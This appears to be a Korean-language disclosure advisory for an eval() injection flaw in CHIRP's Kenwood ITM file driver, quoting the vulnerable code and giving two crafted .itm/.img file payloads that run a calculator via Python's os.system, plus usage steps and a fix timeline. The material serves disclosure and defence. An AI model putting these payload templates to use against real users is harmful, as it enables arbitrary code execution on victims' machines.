
햄 라디오 프로그래밍 애플리케이션의 eval() 주입을 통한 임의 코드 실행에 대한 개념 증명(PoC) 익스플로잇으로, 악성 .itm/.img 파일 페이로드와 근본 원인 분석을 포함합니다.
eval()을 통한 임의 코드 실행제품: CHIRP - 햄 라디오 프로그래밍을 위한 오픈소스 프로젝트.
영향받는 버전:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
영향받는 버전: <= chirp-next-20260814
CWE: CWE-95 (Eval 주입)
CHIRP의 Kenwood ITM 파일 형식 드라이버는 열린 파일의 원시 CSV 필드 값을 검증 없이 Python의 내장 eval()에 직접 전달합니다. CHIRP 사용자에게 조작된 파일을 전달하는 공격자는 피해자 사용자 권한으로 임의 코드 실행을 달성할 수 있습니다.
chirp/drivers/kenwood_itm.py, _clean_tmode(), 66–67행:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
TXSIG 및 RXSIG 값은 열린 파일의 CSV 행에서 직접 가져옵니다. eval() 전에 타입 검사, 허용 목록 또는 샌드박싱이 적용되지 않습니다.
아래에 두 가지 POC가 있습니다.
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img를 선택합니다. .itm 페이로드를 사용하는 경우 필터 드롭다운을 **"All Files"**로 변경하세요 (CHIRP에서는 ITM이 필터링되지 않습니다).{file_name}.itm을 선택합니다.2026-8-17 -- 취약점 발견
2026-8-17 -- 관리자에게 이메일 발송
2026-8-17 -- 관리자가 응답하고 같은 날 코드 수정. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- 설치 프로그램 릴리스 20260821에 수정 사항 포함.
2026-8-22 -- NotCVE-2026-0013 발급.
2026-8-23 -- CVE-2026-78136 발급.